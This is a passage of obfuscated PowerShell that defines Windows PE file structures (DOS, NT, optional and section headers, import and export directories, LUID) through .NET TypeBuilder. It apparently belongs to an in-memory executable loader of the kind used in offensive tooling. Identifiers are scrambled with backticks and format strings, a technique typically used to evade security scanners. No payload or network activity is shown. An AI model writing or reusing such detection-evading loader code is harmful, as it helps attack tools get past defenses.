(${TYp`EbUIL`d`er}."d`E`FI`NeFIEld"('BaseRelocationTable', ${iM`AgE_`D`AtA_DiReC`ToRy}, 'Public'))."Set`OFF`SET"(152) | &("{1}{2}{0}"-f 'ull','O','ut-N')
(${Ty`p`EBU`IlDer}."d`eFINeFI`ELd"('Debug', ${i`mA`ge`_datA`_di`Re`ctoRY}, 'Public'))."S`Et`OFfSEt"(160) | &("{0}{2}{1}" -f'Ou','ll','t-Nu')
(${ty`Pe`BUild`er}."DefiN`EF`IELD"('Architecture', ${imaG`E`_dAt`A_`dIrEc`To`Ry}, 'Public'))."SE`TO`FfSet"(168) | &("{1}{0}{2}" -f '-Nu','Out','ll')
(${TYpe`BUi`LD`er}."DEF`IN`eF`ield"('GlobalPtr', ${iM`AGe_D`AtA`_`diRECtoRy}, 'Public'))."setoFf`S`eT"(176) | &("{2}{1}{0}"-f 'l','Nul','Out-')
(${TY`P`ebUil`DEr}."DEf`i`NeFiELd"('TLSTable', ${i`mag`e`_data_d`IRECt`orY}, 'Public'))."SETOf`FSeT"(184) | &("{2}{0}{1}"-f't-Nul','l','Ou')
(${T`yp`eBUI`ldeR}."DE`F`iN`eFIeLD"('LoadConfigTable', ${iM`AG`E`_daTA_D`IrEC`TorY}, 'Public'))."S`Etof`FS`et"(192) | &("{2}{0}{1}" -f't-Nu','ll','Ou')
(${TyPeBu`I`l`dER}."DEfI`Nefi`elD"('BoundImport', ${iMagE`_`data_`diR`ecto`RY}, 'Public'))."SETo`FfS`eT"(200) | &("{1}{0}{2}" -f 'ut-Nul','O','l')
(${T`YP`EbUIldeR}."D`eF`iNe`FIELD"('IAT', ${imAgE_dA`Ta_`Dire`C`T`ORy}, 'Public'))."SEToFFs`ET"(208) | &("{0}{2}{1}"-f 'Ou','l','t-Nul')
(${TY`PE`BU`ILDEr}."D`e`FinEFie`ld"('DelayImportDescriptor', ${ImAge_`dAT`A_`Dir`ecTO`RY}, 'Public'))."s`E`TOffs`ET"(216) | &("{1}{0}" -f 't-Null','Ou')
(${TY`p`e`BuilDER}."defI`N`efi`eLD"('CLRRuntimeHeader', ${iMage_DAtA`_d`IRE`CtORy}, 'Public'))."S`EtOFfs`eT"(224) | &("{2}{1}{0}"-f 'l','-Nul','Out')
(${T`ypEb`UIL`dEr}."Defi`Nefi`elD"('Reserved', ${IM`Age_daT`A_`dir`ectoRY}, 'Public'))."s`eT`offSEt"(232) | &("{0}{1}{2}"-f 'O','ut-','Null')
${IM`Age_`OPtio`N`A`l_HEa`deR64} = ${ty`PebUI`Ld`eR}."CReAt`E`Ty`pE"()
${WIN`32tY`pEs} | &("{1}{2}{0}{3}" -f 'e','Add-Me','mb','r') -MemberType ("{0}{2}{1}{3}"-f 'N','e','oteProp','rty') -Name ("{3}{6}{2}{0}{1}{5}{4}{7}" -f'IO','NA','E_OPT','IMA','_HE','L','G','ADER64') -Value ${iM`A`g`E_op`T`I`onaL_HeaDe`R64}
${aTt`RIBUt`ES} = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
${ty`pEbUi`l`der} = ${mO`dU`lebuilD`ER}."D`EfiNEty`Pe"('IMAGE_OPTIONAL_HEADER32', ${a`TTri`BuTes}, [System.ValueType], 224)
(${TyPe`B`UILD`er}."DeFi`N`EField"('Magic', ${maG`icTy`pe}, 'Public'))."sEtOF`FS`eT"(0) | &("{1}{0}" -f'll','Out-Nu')
(${tYpEb`UIl`deR}."DeFi`N`EFIELD"('MajorLinkerVersion', [Byte], 'Public'))."SEtO`Ff`s`ET"(2) | &("{2}{1}{0}"-f'll','Nu','Out-')
(${ty`p`EBUil`dER}."DE`F`iNefI`eLd"('MinorLinkerVersion', [Byte], 'Public'))."SE`TOFf`SET"(3) | &("{1}{0}" -f't-Null','Ou')
(${tY`pEbuI`ldER}."D`EFiNefI`eLD"('SizeOfCode', [UInt32], 'Public'))."sEtof`F`seT"(4) | &("{2}{1}{0}"-f'l','-Nul','Out')
(${TYP`ebU`iLdEr}."DEFi`NEF`IELd"('SizeOfInitializedData', [UInt32], 'Public'))."SET`OF`Fs`Et"(8) | &("{2}{1}{0}"-f'll','-Nu','Out')
(${TY`Peb`UiLd`eR}."dEfIn`Ef`IElD"('SizeOfUninitializedData', [UInt32], 'Public'))."Setoff`SeT"(12) | &("{1}{2}{0}"-f 'Null','Out','-')
(${t`ypeb`Uil`deR}."dEfIn`ef`ield"('AddressOfEntryPoint', [UInt32], 'Public'))."SEtof`Fs`ET"(16) | &("{1}{0}" -f 'ull','Out-N')
(${t`Y`PEbUiLdEr}."de`F`InEfie`LD"('BaseOfCode', [UInt32], 'Public'))."s`e`TO`FfSET"(20) | &("{2}{1}{0}" -f 'l','t-Nul','Ou')
(${Ty`peb`UiL`der}."d`e`FINEfIE`LD"('BaseOfData', [UInt32], 'Public'))."SEt`offSET"(24) | &("{2}{1}{0}"-f '-Null','ut','O')
(${TypeBu`I`l`der}."d`eFINE`F`iElD"('ImageBase', [UInt32], 'Public'))."s`E`ToF`FsEt"(28) | &("{1}{2}{0}" -f'-Null','Ou','t')
(${TY`pEb`Ui`ldER}."DeF`I`N`EField"('SectionAlignment', [UInt32], 'Public'))."s`e`TOffSET"(32) | &("{1}{0}{2}"-f 'u','Out-N','ll')
(${T`yP`EbUI`Lder}."dEf`Inef`IeLd"('FileAlignment', [UInt32], 'Public'))."sE`T`oFfset"(36) | &("{0}{1}" -f'Out','-Null')
(${typeB`U`ilder}."d`EFi`Nefi`eLd"('MajorOperatingSystemVersion', [UInt16], 'Public'))."Set`oFFs`et"(40) | &("{1}{0}{2}"-f'ut','O','-Null')
(${T`YPe`BuIlDEr}."d`EfinE`FIelD"('MinorOperatingSystemVersion', [UInt16], 'Public'))."S`e`ToffseT"(42) | &("{1}{0}{2}"-f't','Ou','-Null')
(${ty`pEbuI`L`der}."dEf`InEf`i`eld"('MajorImageVersion', [UInt16], 'Public'))."S`eToFf`sEt"(44) | &("{1}{2}{0}" -f 'll','Out-N','u')
(${tY`pEBu`ILD`Er}."dEf`Ine`FIe`lD"('MinorImageVersion', [UInt16], 'Public'))."seTofF`s`eT"(46) | &("{2}{1}{0}" -f 'l','Nul','Out-')
(${TypEB`Ui`LDeR}."d`EFi`NEfiELd"('MajorSubsystemVersion', [UInt16], 'Public'))."se`TOfF`SET"(48) | &("{1}{0}{2}" -f'u','O','t-Null')
(${TYp`ebu`iLdER}."deFINE`FIe`LD"('MinorSubsystemVersion', [UInt16], 'Public'))."se`TOFFs`et"(50) | &("{0}{2}{1}"-f 'Out','ll','-Nu')
(${TY`peBu`Il`dER}."dE`Fin`EFiEld"('Win32VersionValue', [UInt32], 'Public'))."Seto`FF`S`ET"(52) | &("{1}{0}" -f'ull','Out-N')
(${tyP`eb`UI`lDER}."dEF`IN`EF`IELD"('SizeOfImage', [UInt32], 'Public'))."S`ETOffSET"(56) | &("{1}{0}{2}"-f '-','Out','Null')
(${t`Y`pebUIL`der}."deFiNE`F`Ield"('SizeOfHeaders', [UInt32], 'Public'))."S`EtOFfS`et"(60) | &("{2}{1}{0}" -f'l','-Nul','Out')
(${T`YpeBu`iLDEr}."d`EfiNEfie`Ld"('CheckSum', [UInt32], 'Public'))."set`o`FfSEt"(64) | &("{1}{2}{0}"-f'-Null','Ou','t')
(${t`yp`ebUIL`der}."de`FiN`efIeLD"('Subsystem', ${Su`Bs`Y`STE`mtYpe}, 'Public'))."S`etof`FSET"(68) | &("{0}{1}" -f'Out-N','ull')
(${TY`Pe`BuILDeR}."DEfiN`E`F`Ield"('DllCharacteristics', ${dll`cHARa`cteR`is`TiC`Sty`pe}, 'Public'))."SEtOf`FSET"(70) | &("{0}{2}{1}"-f'Out-N','ll','u')
(${TY`PEbUi`ldeR}."de`FiN`EFI`Eld"('SizeOfStackReserve', [UInt32], 'Public'))."s`etOf`F`sET"(72) | &("{0}{1}"-f'O','ut-Null')
(${t`ypeBUild`eR}."D`EFInEFi`eLd"('SizeOfStackCommit', [UInt32], 'Public'))."se`TofFs`ET"(76) | &("{2}{1}{0}" -f'l','-Nul','Out')
(${tY`pEbu`Ilder}."d`EFINefI`e`LD"('SizeOfHeapReserve', [UInt32], 'Public'))."s`EtOffset"(80) | &("{1}{0}"-f 'Null','Out-')
(${T`Yp`eBuilDeR}."De`FinEf`ielD"('SizeOfHeapCommit', [UInt32], 'Public'))."s`etOf`FseT"(84) | &("{2}{1}{0}" -f 'll','u','Out-N')
(${typ`E`BUi`lDeR}."Defi`NeFiE`lD"('LoaderFlags', [UInt32], 'Public'))."sE`TOf`FSET"(88) | &("{1}{0}"-f 'll','Out-Nu')
(${Ty`peB`UIl`deR}."DefI`NeFIE`lD"('NumberOfRvaAndSizes', [UInt32], 'Public'))."sETOfF`SET"(92) | &("{1}{0}" -f'l','Out-Nul')
(${T`ypebUil`der}."DEf`IN`EFIEld"('ExportTable', ${ImAgE_d`AtA`_`DIR`eCtOry}, 'Public'))."sEt`of`FSET"(96) | &("{2}{0}{1}" -f'Nu','ll','Out-')
(${T`Yp`EB`Uilder}."dEfin`ef`iE`Ld"('ImportTable', ${imAgE`_dat`A_`dirE`cTORY}, 'Public'))."s`EtofFsEt"(104) | &("{2}{0}{1}"-f't','-Null','Ou')
(${TYPEbU`il`Der}."dEf`iNEF`ielD"('ResourceTable', ${ima`G`e_dATA`_dire`CTO`Ry}, 'Public'))."SEt`o`F`FSET"(112) | &("{0}{1}"-f'O','ut-Null')
(${tYpE`BuIL`dEr}."D`EfIn`eFiE`Ld"('ExceptionTable', ${IMage`_`dATA`_`diReCto`RY}, 'Public'))."SE`TOFfS`et"(120) | &("{1}{0}{2}"-f 'Nu','Out-','ll')
(${TY`pE`BuIld`ER}."defiN`eFI`Eld"('CertificateTable', ${IMag`e_dAt`A`_DIrecTORY}, 'Public'))."seTOffs`eT"(128) | &("{2}{0}{1}"-f'u','ll','Out-N')
(${TYP`EbUi`lD`eR}."dE`FI`NEf`iELd"('BaseRelocationTable', ${imAG`E`_d`A`TA_`DIR`eCtoRy}, 'Public'))."s`eTo`Ffset"(136) | &("{1}{2}{0}" -f 'Null','Out','-')
(${TyP`eBUIld`Er}."defIn`e`Fi`eld"('Debug', ${I`MagE`_DAT`A_Di`REct`oRY}, 'Public'))."SETof`Fs`eT"(144) | &("{1}{2}{0}" -f'l','Out-','Nul')
(${Typ`E`BuilDER}."D`efIN`efiELD"('Architecture', ${ImAge_`dat`A`_D`IREC`TOry}, 'Public'))."sET`ofF`set"(152) | &("{1}{0}{2}"-f'N','Out-','ull')
(${tyPeB`UIl`dER}."D`eF`IneFi`Eld"('GlobalPtr', ${I`mA`Ge_`data`_D`iRECTOrY}, 'Public'))."SEto`F`FSet"(160) | &("{2}{0}{1}" -f'ut-Nu','ll','O')
(${T`YPe`BuIlD`er}."dEf`I`N`EfiELD"('TLSTable', ${iMAg`E`_D`AT`A`_d`irECTory}, 'Public'))."Se`TOF`FseT"(168) | &("{1}{2}{0}" -f 'l','Out-Nu','l')
(${t`Yp`Ebu`ILDeR}."D`eFI`NEF`IELd"('LoadConfigTable', ${i`m`AGE`_dAT`A_D`iReCtOrY}, 'Public'))."sE`TOFFsET"(176) | &("{2}{0}{1}"-f'l','l','Out-Nu')
(${T`y`PeBUil`dER}."D`EFiNEfi`elD"('BoundImport', ${IMA`ge_DA`Ta`_dir`EC`T`orY}, 'Public'))."S`eto`FfsEt"(184) | &("{2}{1}{0}" -f'll','Nu','Out-')
(${type`B`UIlD`Er}."dEfine`FI`ELD"('IAT', ${I`MAGe_dAta_D`I`REcTORY}, 'Public'))."Set`oF`FsEt"(192) | &("{0}{1}{2}"-f 'Out','-Nul','l')
(${tY`pEb`UILDER}."DE`F`Ine`FiELD"('DelayImportDescriptor', ${I`MaGe_Da`TA`_dIrEc`TORy}, 'Public'))."setof`F`SEt"(200) | &("{1}{0}{2}" -f'-N','Out','ull')
(${tY`PE`BuI`LdEr}."D`E`FIn`efiElD"('CLRRuntimeHeader', ${i`m`AG`E_Data_dirEC`Tory}, 'Public'))."sET`OffsET"(208) | &("{0}{1}"-f'Out-','Null')
(${TY`PeBUiL`Der}."D`efin`efiEld"('Reserved', ${Im`AG`e`_D`A`T`A_dIRECToRY}, 'Public'))."SE`TOFF`set"(216) | &("{0}{1}"-f 'Out-Nu','ll')
${IMage_`OP`TION`AL`_HEAdEr32} = ${T`Ypeb`UIL`Der}."CREA`TeT`YPe"()
${WiN3`2t`yp`eS} | &("{0}{2}{1}" -f 'Add-M','mber','e') -MemberType ("{0}{1}{2}" -f'No','teProper','ty') -Name ("{1}{0}{4}{3}{5}{6}{2}" -f'A','IM','R32','OPTIO','GE_','NAL_','HEADE') -Value ${ImAgE`_OPtIOn`AL`_HEadEr`32}
${aTT`Rib`Utes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${t`y`peb`UILDER} = ${MO`d`Ul`eb`UiLDEr}."de`FIN`ETypE"('IMAGE_NT_HEADERS64', ${atT`RIBu`TES}, [System.ValueType], 264)
${TYPe`BuI`LD`ER}."De`FInEF`i`elD"('Signature', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O')
${Ty`Peb`U`IldEr}."DeFi`N`e`FielD"('FileHeader', ${iMage`_FiLE_`He`Ad`ER}, 'Public') | &("{0}{2}{1}" -f'Out','l','-Nul')
${TYPEb`U`IldER}."d`EFiNefI`eLD"('OptionalHeader', ${i`ma`gE_opTiO`N`Al_`hea`deR64}, 'Public') | &("{0}{2}{1}" -f 'Out-N','ll','u')
${im`A`Ge_NT_`H`eAdeRs`64} = ${tYPE`B`UILDEr}."C`R`EAT`eTYPe"()
${W`IN32`TyPeS} | &("{1}{2}{0}"-f '-Member','A','dd') -MemberType ("{0}{1}{3}{2}"-f 'No','tePro','erty','p') -Name ("{3}{1}{2}{4}{0}" -f 'S64','MAGE','_NT_HEAD','I','ER') -Value ${Im`Age_`NT`_HeadERS64}
${A`TTR`IBUtEs} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${tY`p`ebU`ILDEr} = ${modU`lEbui`lDer}."D`Efi`NEtyPE"('IMAGE_NT_HEADERS32', ${AT`T`RiBUTeS}, [System.ValueType], 248)
${t`ypebu`ilder}."dEFIN`eFi`elD"('Signature', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','ull','t-N')
${T`YpeB`UiLdEr}."dEfin`E`FIeLD"('FileHeader', ${imag`e_FiL`e_hEad`Er}, 'Public') | &("{0}{1}{2}"-f'Out-','Nul','l')
${tyPEB`Ui`ld`ER}."De`Fi`N`eFIElD"('OptionalHeader', ${imaGe_OPTi`ON`AL`_`HeadeR32}, 'Public') | &("{2}{0}{1}" -f'ul','l','Out-N')
${Im`AGe`_nt`_hEadEr`s32} = ${t`YPebu`iL`DEr}."cR`EATeT`YpE"()
${W`I`N32Types} | &("{1}{0}{2}" -f'-Me','Add','mber') -MemberType ("{3}{0}{1}{2}"-f 'r','opert','y','NoteP') -Name ("{4}{0}{3}{2}{1}"-f 'MA','2','S3','GE_NT_HEADER','I') -Value ${i`MAge_`Nt_heADE`RS`32}
${a`TtrIBu`TeS} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${TyP`EBU`I`ldeR} = ${m`oDULEbuIl`der}."dEF`in`eTyPe"('IMAGE_DOS_HEADER', ${aTtrib`U`TEs}, [System.ValueType], 64)
${tYPe`B`UilD`eR}."D`EFinE`FieLd"('e_magic', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','l','t-Nul')
${T`ypEbui`LDER}."D`E`Fin`eFIeLd"('e_cblp', [UInt16], 'Public') | &("{1}{0}"-f 'll','Out-Nu')
${TyPEb`UI`LD`Er}."defIneFi`e`ld"('e_cp', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l')
${TY`pEb`UILD`eR}."DE`F`InEFIElD"('e_crlc', [UInt16], 'Public') | &("{1}{2}{0}" -f 'll','O','ut-Nu')
${TYPEB`Uil`D`ER}."d`eF`inE`FiEld"('e_cparhdr', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou')
${TyPE`B`UI`lDer}."d`E`FINEFiElD"('e_minalloc', [UInt16], 'Public') | &("{0}{1}" -f 'Out','-Null')
${typE`BUilD`er}."De`FINEFi`Eld"('e_maxalloc', [UInt16], 'Public') | &("{0}{2}{1}"-f'Out-N','l','ul')
${TYPeB`UI`lder}."DefIn`E`FieLD"('e_ss', [UInt16], 'Public') | &("{2}{1}{0}"-f'll','Nu','Out-')
${t`YP`EBUil`deR}."dEF`iNeFiE`Ld"('e_sp', [UInt16], 'Public') | &("{2}{1}{0}"-f'l','t-Nul','Ou')
${tyPEB`U`IlDer}."dEf`in`EfIELd"('e_csum', [UInt16], 'Public') | &("{0}{1}{2}" -f'O','ut-N','ull')
${tYP`eb`UiLdER}."d`eFIN`eFi`Eld"('e_ip', [UInt16], 'Public') | &("{2}{1}{0}" -f 'll','t-Nu','Ou')
${ty`p`EBuI`LDer}."DEfIN`eFIe`lD"('e_cs', [UInt16], 'Public') | &("{2}{0}{1}"-f'ut-','Null','O')
${tYpebUI`l`der}."d`eFIN`EfIEld"('e_lfarlc', [UInt16], 'Public') | &("{1}{2}{0}" -f'll','Out-N','u')
${t`YPeb`UildER}."d`EfiNefie`ld"('e_ovno', [UInt16], 'Public') | &("{0}{1}"-f 'Ou','t-Null')
${e_`ResFI`elD} = ${t`ypEBuIl`d`Er}."DEFin`efiE`Ld"('e_res', [UInt16[]], 'Public, HasFieldMarshal')
${CONS`TRuc`ToRv`AlUe} = [System.Runtime.InteropServices.UnmanagedType]::"ByVAl`ARR`AY"
${Fiel`daRr`AY} = @([System.Runtime.InteropServices.MarshalAsAttribute]."ge`T`FIeLd"('SizeConst'))
${AttR`ibbu`iL`d`ER} = &('a') ("{0}{2}{8}{4}{9}{5}{6}{1}{10}{7}{3}"-f'Sys','.Cus','te','ibuteBuilder','e','io','n.Emit','Attr','m.Refl','ct','tom')(${co`NS`TrUCTO`R`InfO}, ${cONSt`R`Uc`To`RValue}, ${Fi`EldA`RraY}, @([Int32] 4))
${E`_REs`Fie`ld}."seTcUS`ToMatTRIb`U`TE"(${A`TTr`I`BBuiLd`eR})
${t`y`pE`BuilDEr}."de`F`I`NEfiElD"('e_oemid', [UInt16], 'Public') | &("{1}{0}{2}"-f'ul','Out-N','l')
${t`YpEbu`i`lDEr}."d`E`FIn`EFiElD"('e_oeminfo', [UInt16], 'Public') | &("{0}{2}{1}" -f 'Ou','ll','t-Nu')
${E_reS2`FI`ELD} = ${ty`pEbUI`lD`Er}."deFI`NEFi`elD"('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
${CO`NStRuctO`R`V`A`Lue} = [System.Runtime.InteropServices.UnmanagedType]::"BYVaL`A`RrAy"
${attri`BB`UI`ldER} = &('a') ("{2}{1}{8}{3}{11}{10}{5}{4}{6}{0}{7}{9}" -f 'ut','m.Re','Syste','ction.Emit.Cus','tri','At','b','eBuilde','fle','r','om','t')(${c`O`N`struC`ToRInFo}, ${CoN`StR`U`ctOrva`Lue}, ${FI`el`dArR`AY}, @([Int32] 10))
${e_r`e`S2fIeLD}."sE`TC`UStomAttrIb`UTE"(${a`TtRi`BbUild`eR})
${TY`PEbU`iLD`eR}."deFin`e`FiELD"('e_lfanew', [Int32], 'Public') | &("{1}{2}{0}" -f 'Null','O','ut-')
${I`MAGe`_`d`OS_Hea`dER} = ${t`YPeBu`iLD`Er}."cre`ATETy`pe"()
${Wi`N`3`2typES} | &("{2}{0}{1}" -f 'dd-M','ember','A') -MemberType ("{2}{3}{1}{0}" -f'perty','o','Not','ePr') -Name ("{0}{4}{2}{1}{3}"-f 'IMA','D','A','ER','GE_DOS_HE') -Value ${iMA`Ge`_DoS_He`Ad`ER}
${AtTrIb`UT`Es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${T`Y`pe`BuIlDer} = ${mODu`L`e`BUilder}."D`efinEt`y`Pe"('IMAGE_SECTION_HEADER', ${aTT`RI`B`UTES}, [System.ValueType], 40)
${n`AMefIe`ld} = ${t`yPeBUiL`deR}."dEfIneFi`e`LD"('Name', [Char[]], 'Public, HasFieldMarshal')
${C`OnST`RU`cTOr`V`ALUE} = [System.Runtime.InteropServices.UnmanagedType]::"by`VAL`ArRay"
${a`TT`Ri`BBU`iLder} = &('a') ("{7}{3}{10}{2}{0}{8}{5}{6}{1}{4}{9}" -f 't.C','ibut','on.Emi','t','eBuil','sto','mAttr','Sys','u','der','em.Reflecti')(${COnstruc`T`o`Rin`FO}, ${co`Ns`TrucToRVaL`UE}, ${f`iEL`DARR`AY}, @([Int32] 8))
${nAm`eFIE`lD}."SE`TcUSTo`M`AT`TR`iBUtE"(${attR`IbBu`I`ldER})
${TYPEb`U`ilD`ER}."dEf`in`efIeLd"('VirtualSize', [UInt32], 'Public') | &("{0}{1}{2}" -f'Ou','t-N','ull')
${tyP`eBUI`ldeR}."de`F`inEfIElD"('VirtualAddress', [UInt32], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul')
${TY`PE`BuiL`dER}."D`e`FinEFIELd"('SizeOfRawData', [UInt32], 'Public') | &("{2}{1}{0}" -f'ull','ut-N','O')
${T`ypEbu`I`LdeR}."DEfi`NEfi`eLd"('PointerToRawData', [UInt32], 'Public') | &("{1}{2}{0}" -f 'ull','Ou','t-N')
${tYp`Eb`UilDEr}."dE`FI`NefIelD"('PointerToRelocations', [UInt32], 'Public') | &("{0}{1}{2}"-f'Out-N','u','ll')
${ty`Peb`UIld`er}."De`F`INEFIE`ld"('PointerToLinenumbers', [UInt32], 'Public') | &("{0}{2}{1}"-f'Out-','l','Nul')
${ty`p`e`BUiLdeR}."DEFINE`FI`e`lD"('NumberOfRelocations', [UInt16], 'Public') | &("{1}{2}{0}" -f'l','Out-N','ul')
${tY`Pe`B`UIlDeR}."deFin`eFI`E`ld"('NumberOfLinenumbers', [UInt16], 'Public') | &("{0}{2}{1}"-f 'Out-','ll','Nu')
${ty`P`eBu`iLdeR}."DefI`NEfiE`LD"('Characteristics', [UInt32], 'Public') | &("{1}{0}{2}"-f '-','Out','Null')
${im`A`GE_`Sec`TIo`N_`hEADer} = ${T`YpeBUILd`eR}."cReatE`T`ypE"()
${w`iN32T`yPeS} | &("{2}{0}{1}"-f'd','d-Member','A') -MemberType ("{0}{3}{2}{1}"-f 'N','perty','Pro','ote') -Name ("{1}{2}{3}{0}"-f 'HEADER','IMAGE_S','ECTION','_') -Value ${imaGE_S`e`CTiON_HE`AD`eR}
${aTTR`IBut`es} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${t`Yp`E`BUIlder} = ${mO`DuLEBu`ilDER}."DEF`i`NETY`PE"('IMAGE_BASE_RELOCATION', ${a`T`TRiBu`Tes}, [System.ValueType], 8)
${TYPE`B`U`iLDER}."D`efiNE`FIELd"('VirtualAddress', [UInt32], 'Public') | &("{0}{1}"-f 'Out-Nu','ll')
${T`YpeBu`IlDEr}."D`Ef`iNE`FieLd"('SizeOfBlock', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ll','ut-Nu')
${Imag`e_BAS`e_`RelOCAT`Ion} = ${tyP`EBUiLd`ER}."C`R`eaTEtyPE"()
${wI`N32TyP`ES} | &("{1}{2}{0}"-f'mber','A','dd-Me') -MemberType ("{3}{1}{0}{2}" -f'eProp','ot','erty','N') -Name ("{4}{1}{2}{3}{0}" -f'ATION','GE_BASE_','RELO','C','IMA') -Value ${iMA`Ge`_ba`SE_ReLOCAtI`oN}
${ATt`R`IBUTes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${TYPeB`U`I`LDer} = ${moDULe`B`UILd`Er}."dEFIne`Ty`Pe"('IMAGE_IMPORT_DESCRIPTOR', ${at`TRI`BuTEs}, [System.ValueType], 20)
${TYpe`B`Uild`er}."DE`FInEFI`ELd"('Characteristics', [UInt32], 'Public') | &("{2}{0}{1}"-f'ut-N','ull','O')
${TYpEbu`I`lDeR}."dEfIn`EFI`E`lD"('TimeDateStamp', [UInt32], 'Public') | &("{0}{1}"-f 'Out-N','ull')
${t`yPEBUilD`eR}."D`EFIn`EfIE`LD"('ForwarderChain', [UInt32], 'Public') | &("{0}{2}{1}" -f'O','ull','ut-N')
${TY`PEbu`iL`dER}."DEF`InEFI`e`ld"('Name', [UInt32], 'Public') | &("{2}{0}{1}"-f 't-N','ull','Ou')
${t`ypE`BUI`LDER}."dEF`i`NefiELD"('FirstThunk', [UInt32], 'Public') | &("{0}{2}{1}" -f'Ou','-Null','t')
${i`maGe_`imP`O`RT_D`eScriP`Tor} = ${TYp`E`BuIlD`eR}."Cr`e`ATEtyPE"()
${WiN32T`Y`p`Es} | &("{0}{2}{1}" -f'Ad','er','d-Memb') -MemberType ("{3}{2}{1}{0}" -f 'rty','ope','r','NoteP') -Name ("{1}{0}{3}{2}" -f'GE_IMP','IMA','TOR','ORT_DESCRIP') -Value ${IMage`_i`MPORt_D`ESC`RiptOR}
${aT`TrI`Bu`TES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${tYPe`Bu`ild`Er} = ${mO`dUL`e`BuiL`deR}."DEFiNeT`Y`pe"('IMAGE_EXPORT_DIRECTORY', ${a`TT`RIbUtES}, [System.ValueType], 40)
${TyPebuI`l`d`Er}."deFIn`Ef`I`ELD"('Characteristics', [UInt32], 'Public') | &("{2}{1}{0}" -f'Null','ut-','O')
${tyPeB`UiL`d`Er}."d`eF`iNEField"('TimeDateStamp', [UInt32], 'Public') | &("{0}{2}{1}"-f 'Out-N','ll','u')
${T`YPeb`UilD`er}."dEfi`Nefi`E`LD"('MajorVersion', [UInt16], 'Public') | &("{0}{1}"-f 'Out-Nul','l')
${t`yPEbUi`lD`er}."de`FiN`Ef`Ield"('MinorVersion', [UInt16], 'Public') | &("{2}{1}{0}" -f 'l','ul','Out-N')
${tyPeB`UI`LdEr}."dE`F`INeFI`ELD"('Name', [UInt32], 'Public') | &("{0}{1}{2}"-f'O','ut-','Null')
${T`YPE`BU`ildER}."d`eFIne`Fie`LD"('Base', [UInt32], 'Public') | &("{0}{1}{2}"-f 'Ou','t-N','ull')
${Ty`pE`BuIld`er}."de`FiNEfi`eLD"('NumberOfFunctions', [UInt32], 'Public') | &("{2}{1}{0}" -f 'l','Nul','Out-')
${T`Yp`Ebu`ILdeR}."DE`FiNeFie`LD"('NumberOfNames', [UInt32], 'Public') | &("{1}{0}{2}"-f'ut-N','O','ull')
${ty`P`eBuiLD`Er}."DeFin`E`FIELd"('AddressOfFunctions', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','l','-Nul')
${TYpE`BuI`lD`Er}."DEF`in`EFIeLd"('AddressOfNames', [UInt32], 'Public') | &("{0}{2}{1}" -f 'Out','ull','-N')
${TYpe`B`Uil`der}."DEFINEf`I`eLd"('AddressOfNameOrdinals', [UInt32], 'Public') | &("{2}{0}{1}" -f 'Nul','l','Out-')
${im`A`G`E_`EXpORT_`diREctORy} = ${TYPE`B`UiLD`er}."crE`AT`ETypE"()
${win3`2T`YPEs} | &("{1}{2}{0}" -f'd-Member','A','d') -MemberType ("{0}{1}{2}{3}" -f 'N','otePr','op','erty') -Name ("{0}{4}{5}{2}{1}{3}"-f'IMAGE_EXP','R','T_DIRECTO','Y','O','R') -Value ${I`Ma`G`E`_e`xP`Ort_`DIrEctORy}
${ATt`Ri`Bu`Tes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${typeBuI`l`DeR} = ${MOd`UlE`B`UILDer}."DE`FI`N`EtyPE"('LUID', ${aT`TR`IbU`TeS}, [System.ValueType], 8)
${t`y`peb`UiLDer}."de`F`iNeFiELd"('LowPart', [UInt32], 'Public') | &("{0}{1}{2}" -f'Out-','N','ull')
${t`yPeBuiL`dER}."DefI`NeFIe`LD"('HighPart', [UInt32], 'Public') | &("{2}{0}{1}" -f '-','Null','Out')
${l`UiD} = ${TYpebUiL`D`eR}."Cr`EAT`ETYpE"()
${Win3`2TYP`eS} | &("{0}{1}{2}" -f'Ad','d-Me','mber') -MemberType ("{2}{1}{0}" -f'rty','ePrope','Not') -Name ("{0}{1}" -f 'LUI','D') -Value ${Lu`id}
${At`Trib`Ut`ES} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
${ty`Peb`UiL`DeR} = ${m`od`ULEBUIlD`eR}."d`eF`IneTY`pE"('LUID_AND_ATTRIBUTES', ${A`T`TrIBuTeS}, [System.ValueType], 12)
${tyPEb`U`iLdeR}."DE`F`i`NEFielD"('Luid', ${L`UID}, 'Public') | &("{2}{1}{0}"-f't-Null','u','O')
${t`Y`PebUI`LDER}."deFIN`E`FIe`Ld"('Attributes', [UInt32], 'Public') | &("{1}{0}{2}" -f 'l','Out-Nu','l')
${luiD`_`And_`A`Ttr`IbutEs} = ${TYPEBu`i`lDEr}."cREat`e`TYpE"()
${W`In`32TypEs} | &("{2}{1}{0}" -f'-Member','d','Ad') -MemberType ("{0}{2}{1}" -f 'NoteP','ty','roper') -Name ("{0}{1}{2}{3}{4}" -f 'L','UID_AN','D','_ATTRI','BUTES') -Value ${LU`ID_AnD_atTR`IbU`TeS}
${ATT`RI`Butes} = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
